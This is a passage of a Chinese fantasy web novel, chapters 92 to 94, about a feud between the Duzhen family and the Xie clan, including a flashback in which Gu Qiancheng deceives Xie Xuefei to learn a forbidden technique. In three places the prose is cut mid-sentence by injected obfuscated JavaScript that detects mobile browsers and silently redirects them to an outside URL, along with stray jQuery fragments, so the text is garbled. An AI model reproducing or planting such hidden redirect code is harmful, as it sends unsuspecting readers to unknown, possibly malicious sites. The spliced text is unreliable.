叶清圆暗道:谢长生竟将渡真子弟困在了阵法中,挟持小辈而令家主和长老,此手段虽说不太光彩,对付云山这种人却也有效。 她懒洋洋道:“不知道长可曾听过一句话?你以何种态度对待别人,别人就以何种态度对你。道长认为我方才妄言无礼,岂不知道长自己本就口出无礼之言?” 云山眯起眼:“你说什么?” 顾九枝烦得直按眉心:“云山,你少说两句吧。” 云山不忿,还要开口。顾九枝抬眸淡淡凝视他一阵,他的手指按在茶桌,杯盏轻晃,恼得后槽牙都快要咬碎,终是冷哼一声,起身去了后院。 顾九枝叹出一口气,极小幅度地摇了摇头,仿佛对这位狂躁师弟根本无计可施的样子,片刻后才缓声道:“叶姑娘。” 叶清圆:“请讲。” 她没有迁怒旁人的坏习惯,纵使方才与云山喷得有来有回,此刻面对与他同出渡真世家的顾九枝,也能做到和颜悦色。 顾九枝望着她琥珀色的端丽眼眸,淡色的唇角微弯:“不知晴雪院里,可还有那株红梅树?” 92. 解印 叶清圆没料到她会突然问这个问题。 她以为顾九枝会对自己好言相劝、威逼利诱,让她趁早离开冽雪山谷不再参与此事。或者干脆策反自己,让她与谢尽芜为敌。却不曾想到顾九枝眸中含笑,半点利益相关的事情都不提,只问她晴雪院的红梅树是否还在。 炉中炭火燃烧发出轻微的毕剥声,熏笼中有清冷舒雅的香气散开来,衬着院中冰天雪地的凛冽气息,煞是好闻。 叶清圆接过她递来的一盏茶,点头道:“在。梅花开得很漂亮,夜晚看去,就好像一树星火。” “那就好。”顾九枝的眸光很柔,唇边笑意浅淡有怀念之意,“晴雪院是当年我亲手设计的,院中一花一树也是我精心料理过,虽然十几年过去那些花草或许早已枯萎……总之,希望你们住得还舒适。” 她身上气质沉静而温和,嗓音也清越好听,眼中蕴着极淡的笑意,若非她身上这件水墨纹的道袍与木簪系着的墨色飘带,叶清圆都忍不住怀疑她该是哪位出身于书香门第的小姐。 世人都讲渡真世家的顾九枝乃是情冷心硬、利落果决之人。可如今看来,她却并不像传闻中那样冷漠,反倒是比较柔和。 “现在和我说话的是渡真家主吗?”叶清圆摩挲着杯盏口,“家主应当以家族利益为重呀,怎么会和我说这些?” 顾九枝轻笑:“是顾九枝。” 她抬手挥退了院外驻守的修士,又唤了两名女弟子将许雁含挪至西屋里歇息。随后踱步至簌簌飘雪的廊檐下,沉默良久,才终于轻声道:“家主,师姐,师尊。这世上唤我什么的都有,可却无人再敢唤我九枝。” 叶清圆小口喝茶,垂着眼睫不搭腔,腹诽道:专程将她和江云初留在此处,总不能是要她听这位顾家主叙旧怀情的吧? 现在谢长生还在山谷阵法之中,挟持着十几名渡真子弟,生死未卜。可顾九枝身为家主,面上却丝毫不显焦急担忧之色。 倒像是笃定了谢长生不会轻易对这些后辈出手一般。 她抬眸去看江云初,却见江云初捧着一盏热茶,垂眸不知在思索什么。 叶清圆道:“顾家主,我们还是聊正事吧。渡真与谢氏之间到底有什么仇恨?你们又为何杀害雁含妹妹的父母?他们在许家庄生活了半辈子,可是遭受无妄之灾!” 顾九枝回身望她,额心的莲花纹在凛冽雪光的映照下亮得刺目。 “延续了数十年的恩怨,如今也该终结在你我手中了。”顾九枝隔着氤氲茶雾与袅袅冷香望了一眼江云初,江云初颔首轻笑,眸中亮光如星子。 叶清圆一头雾水:“?” 院外细雪纷扬,顾九枝拨了拨暖炉里的炭火,炉中有火星溅起:“有我那位云山师弟看守,在谢公子到达之前,叶姑娘都别想走出这个院门。既然如此,你可愿听我讲一个故事么?” 叶清圆望了望院子里的雪,似乎也没有更好的选择了。她颔首道:“好。” 顾九枝在圈椅中坐下来,素洁的手腕随意搁在扶手:“姑娘知道渡真世家的上一任家主是谁吗?” 叶清圆想了想,先前在金璧城时好像听谢尽芜提起过:“顾千城?” “不错,”顾九枝轻声道,“他是我的父亲。” - 细雪急落,细细碎碎地从山道旁的松枝上滚下来,晶亮莹白的滚珠一般。 身后的许家庄越发远了,遥遥只见晨起时清冷的炊烟上旋。白璟气喘吁吁地走在崎岖蜿蜒的山道上,道旁山石嶙峋灰暗,石子棱角尖锐,落满了雪,行走时稍一不慎就有可能磕出满膝盖的雪。 他透过眼前呼出的白雾去看谢尽芜,见他步伐平稳,浓睫却微颤,薄红的唇快要抿成一条线,亦是紧绷的模样。 “哥,”白璟气息不稳地出声,“我在族中宗祠翻阅族谱时,曾见到过一则记载。” 他觑着谢尽芜的脸色,低声道:“谢氏族人,常年居于冽雪山谷。” 谢尽芜“嗯”了一声。 “可是如今山谷中却是空空荡荡,甚至渡真世家与永安江氏放出消息称,谷中地气失衡、妖鬼作乱。” 白璟说到此处,眸中憎恶显露:“在许家庄住了这么久也没见有什么奇怪的事情发生,我早就怀疑那些说辞不对劲。如今来此的却是渡真世家,这是否说明……” “白璟。”谢尽芜打断他,“你的任务只是救回许雁含,然后带着她离开这里。” 谢尽芜顿住步伐,在漫天碎雪中狠狠闭了一下眼:“冽雪山谷的事与你没有任何关系,不管什么时候,你都不要开口,更不许参与进来。明白吗?” “哥!你是我的亲人,你的事情我不可能坐视不理的!” 谢尽芜转身继续走,淡漠的声音随着冷风飘来:“在大部分时候,坐视不理也是一种聪明理智的做法。白璟,你不要不合时宜地犯蠢。” 白璟的步伐顿了顿,一颗心在胸腔中剧烈跳动,是气愤,也是不甘。 他咬牙跟上谢尽芜的脚步,再开口时声音里已然有了决绝之意:“什么叫不合时宜?我本来就不太聪明,犯蠢还要看时机和形势吗?” 谢尽芜暗自叹息,似乎是对他的胡搅蛮缠感到无奈,干脆不再理会他。 “我知道你们都把我当作需要人保护的小孩子,”白璟道,“可我不是!” 他提速追到谢尽芜的身前,执拗道:“我不是废物,也不是弱者,我不需要任何人对我的安全负责。” “别想把我当成累赘,哥,我还懂得渡亡之术呢,你怎么知道我就一定无法保护自己?” “当初你也是在希夷殿摸爬滚打了好多年呢,你执行任务的时候,难道也会因为前路有危险而就此放弃吗?不会的吧!” “你都不曾放弃,为什么要我放弃?!” 朔风凛冽,白璟愤愤不平地发泄一通,抬眼,却见谢尽芜的眼中露出了赞许之意。 “……你在试我啊,哥。” 谢尽芜没说话,继续往深山里走去。 白璟跟在他身后,恨恨地吸鼻子,好憋屈地忍下了这一口气。 却见前方谢尽芜蓦地顿住了脚步。 白璟心生疑惑:“怎么了?” 顺着他的目光看去,伴随一阵簌簌踏雪之声,莹雪压枝的松树后头,竟绕出来两个人。 这两人身穿泼墨山水纹的道袍,尚未及冠,都是稚嫩的少年模样,只用墨带挽了发髻。两人窄腰间各自系了一柄长剑,瞧他们脸上淡然自若的神色,倒像是故意在此等候他们二人。 谢尽芜不与小孩子动手,只淡声道:“让开。” “不让。”少年扬起脸,倔强道,“是家主叫我们在此等候的,等一位姓谢的公子,你姓谢吗?” 谢尽芜目光肃戾得带了些杀意,视线在他们脸上扫过一圈,沉声道:“你们等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894787|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,然后呢?要做什么?” 少年与同伴对视一眼,高声道:“家主叫我们告诉你一声,你的那位叶姑娘没有任何危险,她现在正与家主喝茶谈话呢!” 白璟忍不住道:“雁含妹妹呢?!” 少年道:“反正她们两人都在一起,其余的我不知。” 谢尽芜的目光落在少年轻微摆动的袖上,不禁对这种拙劣的把戏感到嗤之以鼻,故意问道:“除此之外,还有别的事吗?” “有啊,”那少年咧嘴一笑,“家主叫我们——杀了你!” 话音未落,他抬袖一挥,袖中散出千万道短箭,直直扑向谢尽芜的面门。谢尽芜抽剑抵挡,剑光与短箭相接,溅出细密星火,短箭零落满地,砸陷在积雪的深坑。 白璟怒道:“你这孩子怎么说动手就动手!一点礼节都不懂!” “杀你还要懂什么礼节?”少年冷脸,“你这么激动,莫非也想死吗?” 白璟一听这话气得直跺脚:“好好的渡真子弟动辄打打杀杀,你们这所谓的道真的没有修歪吗?啊?渡真的初心是什么,你们都忘了吗?!” 两名少年闻言更怒:“没有你置喙的余地!” 说罢,提剑杀来。谢尽芜明显感受到这两少年出招的力度愈发重,也不再避让,手腕翻转剑尖上挑,“铛铛!”两声,剑身一左一右先后拍在少年肩头,当即将二人震得连退三步。 两名少年捂住肩头的伤痛,缓住气对视一眼,轻轻颔首,紧接着冷凝的目光盯准了谢尽芜,“你很厉害呀。那试试这一招如何?” 说罢,探手从袖中取出一张裁作白鹤模样的白纸, 谢尽芜蹙起眉,显然对这俩孩子感到不耐烦,待看清那白纸之后,神色却又现出一瞬的怔然。 少年口中默念法诀,同时喝道:“心影,去!” 话音落下,那张精心剪裁的白纸顿时膨胀变幻,莹莹白光中果真有道仙鹤的影子振翅飞旋,冲着谢尽芜的心口而去。 又是心影。 心影或许可以解除他所中的邪印吗? 谢尽芜眼见那白鹤袭来,却并无半点抵抗之意,甚至强行按捺住胸腔中沸滚的恶念与邪印的力量。 他持剑的手隐隐颤抖着,收剑入鞘。 莹亮清光袭面而来,带着冰雪般的凌冽之意扑入他的心口,谢尽芜只觉胸腔中蓦然一阵撕心裂肺般的痛楚,浑身的血液似乎都冷透。 白璟吓得快要呆滞,慌忙上前扶住他,颤声道:“哥!” 那两名少年本就是全然按照吩咐行事,也没料到这位谢姓公子压根不抵抗,竟就眼睁睁见那只心影攻入识海,一时也有些心中慌乱,呆站在原地不知所措。 白璟与那少年俱是怔在原地,余光中恍惚有雪亮的刀光闪烁。蓦地一抬眼,却见大片的幽蓝色浸染灰白天幕,细雪骤然变幻成了鹅毛般的雪絮,天地倒悬,夜幕澄蓝。 鹤唳声声。 谢尽芜的脑海深处传来撕裂般的剧痛。 他仿佛整个人都被浸透在阴冷潮湿的深潭中,隔着厚重的水膜,有遥远而模糊的谈话声与笑闹声不知从何处传来,恍惚却听不真切。 这些人是谁?为何会看到这么多陌生的面孔? 这不是他的记忆。 嘈杂的人声汇聚如潮水,翻涌在他纷杂脆弱的识海中。红梅,火海,映雪刀光,以及—— 小鹤仙。 93. 真相(1) 傍晚时分,冽雪山谷下了今冬的第一场雪。 山道旁栽种的各色梅花发了花苞,深深浅浅的花瓣已然透出清幽的香气,袅袅勾缠,连晚风与雪絮都染了花香。 顾千城踉跄行走在湿滑的山道,只凭借本能拖着双腿朝谷中那一片温暖的亮光走去。 他已经连续几天都没有进食,浑身虚弱乏力到头昏眼花,腿脚酸软。 若非他运气好,从雪地里捡来一根树枝当作拐杖撑持着,或许早已跌倒在冰天雪地里。 前方山谷的光亮星星点点,随着山谷地势高低而起伏着,如同温暖柔和的浪潮翻涌。 他舔了舔干裂的嘴唇,伸手从道旁抓来一把雪塞进嘴里,木然地咀嚼两下,吞进肚中。 就要到山谷了。 顾千城的耳畔除了烈烈风声,恍惚还听到有鹤唳声,有人的说笑声。 他加快脚步走了一段,不远处砖石房屋里帘子一掀,从里头走出来个满身月光的半大少年,抬手要泼茶。 这少年脸色苍白,身形瘦削,像是身体不太好的模样。他刚还在与屋里人说笑,脸上还有残存的笑意,抬眼却见一个形容枯槁的男子站在梅树下,脸庞满是血污,目光阴冷地瞪视着他。 月光朦胧,雪帘厚重,顾千城这副尊容简直令人惊悚至极。 少年吓得险些将茶水泼他脸上,惊讶道:“你是人是鬼?” 顾千城看见那少年,接连紧绷好几日的精神终于松懈下来。他双腿一软,高大的身躯与手中木棍一同跌倒在冰冷的雪地,发出好大的闷响。 ——“喂!” 失去意识的前一秒,他恍惚瞧见那少年将茶碗丢至一旁,大惊失色地跑来搀扶他。可那少年身体太过瘦弱,根本奈何不动顾千城这身腱子肉,只好大声呼唤着屋里家人快来帮忙。 顾千城听到一阵纷乱的脚步声,阖上眼,干裂的唇角露出一丝微笑。 ——终于找到你们了。 翌日清晨,顾千城醒过来的时候,发现自己正躺在一张小木床上,身上的伤口也包扎好了。 他环顾周遭,屋里的摆设很是简陋,隐约有种淡淡的药香,炉上还煮着茶,沸水咕嘟。他目光扫了一圈,在木桌上看到一碗热腾腾的鸡蛋面。 他馋得要命,却因好久没吃饭力气不够,只坐起身来就眼前直冒金星。挣扎间门外进来一位姑娘,笑道:“水开了,长生,你竟都没有听见吗?” 顾千城还维持着那个姿势要去够鸡蛋面,那姑娘见状忍不住笑出声,走过来将面碗端给他,“醒了就快吃吧,又没人跟你抢。” 顾千城活了三十多年还从未如此尴尬过,叫一个小丫头片子看了笑话,不由臊得脸都红了。他低头呼噜呼噜吃面,也顾不得烫,没几口就将一碗面吃了干净。 姑娘将水起了,头也不回道:“还要不要吃?锅里还有,有力气了就自己盛去。” 顾千城没吭声,起身去了厨房。回来时见昨日救他那少年正坐在院子里逗狗,下意识冲他点了点头。 “他是我弟弟,谢长生。”姑娘笑道,“我叫谢长乐。我们姐弟俩相依为命,过得已经很辛苦,你若是想借盘缠什么的,抱歉,没有。” 顾千城低头吃面,没应声。期间谢长生抱着狗进了屋,坐在谢长乐旁边。顾千城偷眼打量,见这位谢长生果真如他所想一般,浑身带着股病气,瘦削不堪,不是可用之人,便暗自思索起别的来。 谢长乐随口问道:“我们说了这么多,该你了吧?你是谁呀,为什么会来到这里?” 顾千城默然吃面,片刻后才放下面碗,清了清嗓子:“我叫顾千城,为贼人所害,逃进此山。现下无处可去,还望两位收留。” “喂,你身上有仇啊。”谢长生讶异道,“我们才不掺和你们的恩怨呢,你快走吧!可不要连累我和姐姐。” 谢长乐拍了拍他的手,用眼神示意他不得无礼,随即对顾千城道:“你的事我们本来不该多问,可是你也瞧见了,依我们姐弟俩的情况实在帮不了你什么。不如这样吧,看你这人也怪可怜的,你若是真的无处可去,我们带你去求见族长如何?或许族长可以安排你留下呢?” 顾千城忍住唇角的笑意,拧着眉故作茫然纠结:“我……还是不劳烦族长了。” “哦,反正我们家没有多余的饭给你吃。你若是不愿,那就出去饿着吧。” 谢长生补充道:“走之前别忘把碗刷了。” 顾千城默然,片刻后才低首道:“那好吧,多谢二位。” 谢长生立刻跳起来抱着狗出去了,不受他这个礼,摆手道:“行了行了别这样了,你这年纪都能当我爹了,还行什么礼?” 谢长乐怒道:“谢长生你又犯病了是不是?” - 如此,顾千城沿着山道一路上行,终于来到了山谷中最深处的那座漂亮小院。 族长的院子。 他垂下眼睫,眸中闪过嘲讽之意。 院门开,谢长乐领着他进院拐弯,行至正堂,她首先走过去与那族长低声说了些什么。顾千城站在堂外廊檐下,百无聊赖地打量着院中景色。 庭院很深很雅致,高高的围墙边栽种着一派高大的柏树与松树,入冬的时节也依旧绿意盎然。 堂窗下种着两棵棠棣,枝头光秃秃的缀满了雪,一只鸟从远处飞过来停在树枝上,抖落了满地的碎雪。 顾千城的视线落在那只鸟儿身上,晃神间却听闻身后传来一声清脆的笑。 “你就是他们说的那个外乡人呀?” 一名红裙少女站在他身后,皙白的脸上有天真纯稚的笑意:“他们都说你头发乱糟糟的像是个老头儿,可你看起来还挺年轻的呀。” 微风吹起她的裙摆,她怀中捧着一束红梅枝,笑道:“听长生说,你叫顾千城是吗?我叫谢雪绯。” 话音落下,那位族长缓步自堂中走出来,沉声道:“绯儿,到别处玩去。” “知道啦爹爹。家里来了客人,还不许我打个招呼吗?”谢雪绯笑嘻嘻地扮了个鬼脸儿,抱着那束红梅枝转身离开。 顾千城自始至终保持沉默,此刻便转身朝着谢御恒行了礼:“族长。” 谢御恒敛眉,从上到下审视他片刻,淡声道:“你想留下?” “是,”顾千城躬身垂首,谦卑到极点,“贼人追杀,我实在是走投无路,还望族长肯收留晚辈。” 谢御恒两只手负在身后,冷声道:“你明知自己被贼人追杀,却仍恳求我收留你。将来若是你的仇人再度追杀而来,你如何保证祸端不会牵扯到我族之人?” 顾千城道:“若是仇人再度追杀而来,我必会拼死以抗。若是不敌,宁肯自裁谢罪,也绝不会连累大家。” 他来时稍作打理,此刻身上再没那般不人不鬼的颓败气息。他生得剑眉凤目,鬓若刀裁,因身居高位多年,周身都透出一种沉稳自若的气质,看起来是极为可靠忠实的模样。 良久,谢御恒颔首道:“好。既然都这么说了,你就先行住下。冽雪山谷冬日进出受限,估计你的那些仇人也没本事追来。等到明年开春,你再离去吧。” 顾千城感激道:“多谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902945|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族长。” 天气愈发寒冷。顾千城留在了谢御恒的家中,做些粗使的力气活。山谷中谢氏族人对他的到来很是好奇,好奇中又有些异样,仿佛是看见了什么妖鬼一般。顾千城不怎么在乎外人的眼光,索性只做个沉默寡言的怪人。 可有一点,却叫他不得不放在心上。 他的房间设在院落的东南角,距离柴房很近,距离正堂却很远。这种暗暗的防备和疏远,无时无刻不在提醒他,他与族长一家的距离还是那么遥远,他必须想方设法融入谢御恒的家中,尽快实现目标。 因为留给他的时间并不多,他必须速战速决。 幸好顾千城足够冷静,也足够不择手段。他很快找到了一个突破口,谢雪绯。 谢雪绯是族长的女儿,她自幼丧母,因此父兄对她纵容宠爱有加。如今也不过十八岁的年纪,天真活泼,性情懵懂纯澈,对冽雪山谷外的生活有着无限的好奇与向往。尤其是在她的兄长谢拱辰外出游历之后,她更是按捺不住想要出去的冲动。 这般年纪的少女热情善良而缺乏足够的警惕心,顾千城常年居于上位,早已熟稔于玩弄人心,此刻要想拿捏住一个小姑娘,也不过信手拈来。 他花费了两个月的时间,游刃有余地俘获了一名妙龄少女的芳心。 两个月后的大雪天,顾千城在山坡上,最后问了谢雪绯一遍:“你明知我身负仇怨,或许有朝一日就要再度卷入杀伐之中,却仍愿意嫁给我么?” 谢雪绯依偎在他怀中,柔声道:“没关系呀,我们就待在山谷中一辈子不出去好了。反正那些人也没本事追过来的。” “而且你我成婚之后,你也就是我们谢家的人了,不管今后遇到什么困难,谢家所有人都会想办法支持你、保护你的。” 谢氏极为护短,顾千城在此居住了两个月,已经深有体会。 他状作不经意道:“若是他们攻杀而来,我怕连累到你们。” 谢雪绯不以为意笑了笑:“你知道吗?我们谢家能够在这乱世中存活下来,还活得这么清净,靠的可不仅仅是避世隐居。” 她压低声音:“偷偷告诉你,我族中有一门秘传的术法,名为转玄三术,从来只传本脉子女,不传外人。就是这道术法保我们安安稳稳活到现在的。” 顾千城道:“这术法杀人很厉害吗?” “嘁!我们才对杀人没兴趣呢。”谢雪绯撅着嘴巴。 顾千城揽着她的腰:“那绯儿学了吗?” “没有,我才不要学。”谢雪绯抬手拍了拍顾千城的肩膀,“等你我成婚之后,你就是我们家的人啦。到时候我可以去求爹爹,叫他将这术法也教给你。” 顾千城垂眸推拒:“既是你们本脉子女才能学的,我便不掺和了。” “你是我的夫君!你学不就等于我学了吗?”谢雪绯脆声道,“我们两人至少该有一个懂得转玄三术的,否则也太不像话,是不是?” “好吧,听你的。”顾千城忍住胸腔中沸腾的快意,故作无奈叹息,“绯儿,将来若真的发生不好的事……” 谢雪绯打断他:“一切后果,我都愿意和你一起承担。” 顾千城凝视她一阵,她目光柔亮且坚定,带着一往无畏的勇敢与执着,仿佛这世间再没有烦心事什么值得她顾虑。 他轻声道好,拥住了她,鼻端嗅着她发间的清香,缓缓地闭上了眼。 多么好的姑娘,她就像是清晨时迎光绽放的一朵花,裹在山谷的湿润雾气中,有种朦胧的漂亮。 可惜,这世上最不缺的就是花儿。 94. 真相(2) 谢雪绯成日在谢御恒的跟前呜呜哭,逼得谢御恒不得不同意他们的婚事。 经过两个月时间的相处,谢御恒对顾千城的印象其实也不错。他沉默踏实,性情坚韧,没有太多的花言巧语与活络心思,并且很珍爱谢雪绯,这一切优点都值得他的绯儿去托付终身。 更何况,谢雪绯对顾千城也是爱到深处,非他不可。谢雪绯自小没了娘亲,一路成长过程中受过许多苦楚和委屈。身为父亲,谢御恒的心中有愧疚也有怜惜,事事都将绯儿的幸福摆在第一位,无论如何,他都没有理由不同意他们的婚事。 新婚夜晚,满山谷都挂上了喜庆的红灯笼,衬着莹白的大雪,熠熠光彩流转,如同一道晶莹的血河暗自流淌。 夜里,一身红衣的顾千城挑了谢雪绯的红盖头,与她喝过合卺酒。一行人笑过闹过,喜娘也领了赏钱,热热闹闹地将酒樽带了下去。木门从外头阖上,安静的房间里唯有红烛静静地燃烧。 旖旎柔婉的烛光中,谢雪绯抬起一张精心描摹的脸儿来,眉眼间含羞带怯:“夫君?” 顾千城应了一声,挨着她在榻边坐下,温声道:“累吗?” “有点儿,这头面真重。”谢雪绯抬手摘了沉重的发冠,后脑处发髻的簪钗却是看不到,手指摸索了半天也摘不下来。 顾千城见状,伸手替她将那些首饰都拆下来,道:“今日来的人这样多,怎生不见你那位兄长?” “他住在很远的地方呢,而且我那个小侄子年纪太小了,不好出远门的。”谢雪绯柔声道,“可惜啦,你我今日成婚,他却都没有机会见见自己的妹夫。” 顾千城垂眸轻笑,浓密的眼睫掩去眸中一丝防备与警惕。 “不可惜。他住在何处?改日我们登门拜访,好不好?” 谢雪绯顿了一下,没说,只笑道:“我也记不得了。没关系,等明年开春时他们会一块儿来的。” 顾千城若有所思:“嗯,好。” 烛光暧昧,他的侧脸轮廓被流光描摹,眉骨、鼻梁线条流畅,锋利如刀。 “不说这个啦,”她的脸颊染上绯红,一双殷润的眼眸望住他,“夫君,新婚之夜,你确定要说这些吗?” 顾千城满腹心事,此刻闻言连忙回神,眸光也变得柔和。他脸上带笑,垂首,目光落在她红润微弯的唇瓣,极温柔地吻了下去。 - 转玄三术:伤、病、亡。 顾名思义,施术者可将中术者的疾病、伤痛、死亡全部转移到其他人的身上,而中术者因此痊愈,完好如初,甚至免于死亡。 这是一种完全损人利己的术法。 顾千城天资绝伦,他深谙藏拙的道理,本该半月就学会的转玄三术,他为了不引起谢御恒的疑心,不叫他猜忌自己的出身,愣是拖拖沓沓学了一月半,才学会前两式。 学成的那一晚,大雪纷飞。 在谢氏族人的眼中,大雪节气似乎是个值得庆贺的好日子。天黑时分,山谷中近百户人家的房檐就挂上了喜庆热闹的彩灯,灯烧如昼。有小孩子提着各种样式的彩灯追逐笑闹,有仙鹤,白鹭,凤凰,白鹇,满地流光。 正堂中,顾千城端坐在圈椅中,眸冷如冰。 谢御恒笑呵呵地从橱柜里取出一坛好酒,道:“这是绯儿三岁那年我亲手所酿,距今已有十五个年头。今日大雪,是个好日子,我们爷儿俩今晚就喝这一坛,如何?” 谢御恒已经完全放下了对顾千城的戒心,毕竟顾千城虽沉默寡言,却实诚沉稳,对待谢雪绯也是疼爱有加,是邻里交口称赞的好郎君。 他的儿子谢拱辰为了一位姑娘远走他乡,很少再回冽雪山谷,只留下他和绯儿在此生活。绯儿从小性子活泼爱闹,天天吵着要去外面找阿兄嫂嫂,找小侄子玩儿。山谷外面的生活很是艰险,他不放心,也早已为此愁得两鬓斑白。如今有顾千城在,绯儿的心也慢慢稳下来,倒是有了踏实过日子的好兆头。 思及至此,谢御恒对顾千城更添了几分满意。 可是今晚的顾千城却显出几分异样。 谢御恒拍开酒坛,不知是不是自己多想了。 他往杯子里倒酒,顾千城的目光冷冷落在酒杯,淡声道:“族长。” “叫错了。”谢御恒将酒坛搁在桌上,纠正道,“都成婚这么久的人了,连个称呼都改不过来么?喝酒。” “族长,多谢你教我转玄三术。” 顾千城不为所动,只抬眼与他对视。他眉目冷厉,明暖的烛光也照不清他眼中的情绪。 堂中一瞬寂静,隐约可以听见外头街巷的欢声笑语,以及山谷深处的鹤唳声声。 “你这是什么意思?” 谢御恒脸上笑意也敛去,眼中显露出凶狠的光芒:“你要对绯儿始乱终弃?” 顾千城不答,只道:“族长肯放我走吗?” 谢御恒拍桌而起:“你说呢?!” “看来是不肯了。”顾千城声音很淡,他抽刀出鞘,雪亮刀光映在他眉间,“族长,我也不想杀你的,是你不肯饶我。” 谢御恒咬牙怒目,手指用力,“啪!”的一声爆响,掌中酒杯竟被他生生攥碎,酒水碎瓷飞溅! 他从牙缝中挤出一句话:“你来到这里,就是为了转玄三术?” 顾千城淡声:“是。” 谢御恒又道:“娶绯儿为妻,也是为了转玄三术?” 顾千城淡声:“是。” 谢御恒压低声音:“我最后问你一遍,你确定要这么做?” 顾千城狠狠闭了一下眼:“……是。” 谢御恒手攥成拳,额角青筋直跳。 他活了这么大年纪,见识过无数,也经历过无数。可从没有过像今天这样,恼怒、悲愤得心脏都快从喉咙里跳出来。 他忍着剧烈的耳鸣,冷声道:“顾千城,为什么一开始不表明自己的意图,而非要采用这种……方式?” 顾千城低声:“转玄三术从不外传,若非采取这种手段,我学不到。” “那你讲明实情!或许我会出手救治!” “你也说了是或许。”顾千城淡笑一声,“你当我来此是毫无准备吗?我寻访了多久才来到这里,我查了多久的古籍才翻到关于你们的记录,谢氏一族从不出冽雪山谷,也绝不会对外人使用转玄三术。” “而且,这种术法的使用是有代价的。我想要救回一人,就必须杀掉另一个人。” “若你知道我想让你救一人的同时,再杀一人,你可还会出手?” 谢御恒咬牙道:“可绯儿是无辜的。” 顾千城叹息道:“我知道,所以我会善待她。” 谢御恒僵住,片刻后,忽然大笑起来。 笑过之后,他看着顾千城,仿佛看见了什么难以理解的东西,摇头道:“你不了解绯儿。她看着娇气,实则性如钢铁,她不会跟你走的。” 顾千城懒得和他再争辩,只觉眼前这老头子迂腐而愚蠢,难怪能养出谢雪绯这样窝囊又无知的笨姑娘。 顾千城低声开口,很是笃定:“她爱我,我知道。” 谢御恒被他气得心脏疼:“我女儿不会爱一个坏事做尽的死人。” 话音落下,他抬手提起长刀:“顾千城,若早知你是这般别有用心之人,当初就该任你冻死在山谷之外!好,你既如此狼心狗肺,不择手段,我也不留你。不过与其让绯儿知道你的利用与算计而伤心欲绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902946|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不如老夫亲手杀了你,还能保你个好名声。” 顾千城被骂得脸色青白交错,却也不冲动行事,只抬眼道:“用不着族长如此替我考虑。” “因为今日能走出这扇门的人,一定是我。” - “慢慢调养,天气越来越冷了,千万不要冻着。” “还有啊,你身子本来就弱,平日里一定注意不要有太激烈的情绪起伏。尽量不要伤心,动怒更是不行,保持心情畅快。” 谢雪绯乖巧笑道:“好。多谢长乐大夫,我记下啦。” 谢长乐很轻柔地摸了摸谢雪绯的腹部,亲昵道:“真没想到啊,我们绯儿自己都刚刚长大呢,竟然都要做娘亲了。” 谢雪绯脆声:“等孩子出生了,认你做干娘,可好?” 谢长乐闻言一怔,想了想那画面,笑起来:“说起来,你小时候那样顽皮,这孩子说不准和你一样胡闹呢。哎呀,那我这个干娘可要头疼了。不过,更头疼的该是顾千城吧,他性子稳重,或许都难以想象你们娘俩闹腾的模样……” 谢雪绯听她越说越不着边际,脸都红了。 谢长乐将脉枕收好,故意逗她:“反正无论怎样,顾千城总是会好好照顾你们的。刚才也不知是谁在那里讲呢,说她的夫君虽然沉默寡言,其实心思细腻得很呢!啊呀,你不要闹我!” 说话间两人又笑起来,谢雪绯抬眼见天色黑了,起身要告辞。谢长乐担心路上雪滑,她走得不稳当,便叫谢长生撑着伞送她回去。 有清悠的笛声传来。谢长乐笑着喊道:“长生!快别吹你那破笛子了,来送你绯儿姐姐回家。” 谢长生将玉笛收好,裹着大氅撑伞过来。 他的小脸陷在雪白的毛领中,露出一个乖巧的笑容:“绯儿姐姐,我们走吧。” 谢雪绯讶异道:“长生的脸色看起来不太好呀。” 谢长乐闻言也过来,一看吓了一跳:“身体不舒服怎么也不说?” 说罢,赶紧叫他回屋里暖炉旁坐着,谢长乐亲自撑伞,将谢雪绯送回了家。 这一路热闹欢笑自是不必说。两人笑盈盈地走到了院门口,谢雪绯邀请她:“不进去坐一坐吗?” “不啦,这样天大的好消息,你还是快去和他们分享吧。”谢长乐的眉目间有愁容,“我要回去看看长生,这孩子身体越来越弱,也不知道是怎么回事。我现在很是担心他……如果实在没办法,我就想干脆求族长用那术法……” “长乐姐姐!不许胡说,就算他这病真的无法可医,你也不许拿自己的性命开玩笑。”谢雪绯拉着她的手,“你这一生是为自己活的,不是为了其他任何人,明白吗?” 谢长乐垂着眼纠结很久,眉心故作舒展了些,勉强笑道:“竟还叫你安慰起我来了。” 谢雪绯温声道:“不要多想了,姐姐。长生的体弱症纵使我们治不好,天大地大,难道就无人能治好吗?千城认识的人多,等到来年开春,我们一起去山谷外寻名医,一定会有办法的。” 可是寒冬漫漫,谢长生能否撑持到明年春天? 